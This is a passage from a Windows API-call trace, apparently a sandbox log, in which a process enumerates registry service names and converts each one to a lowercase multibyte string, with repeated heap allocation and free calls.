lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0245.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0245.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0245.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0245.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0245.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.973] 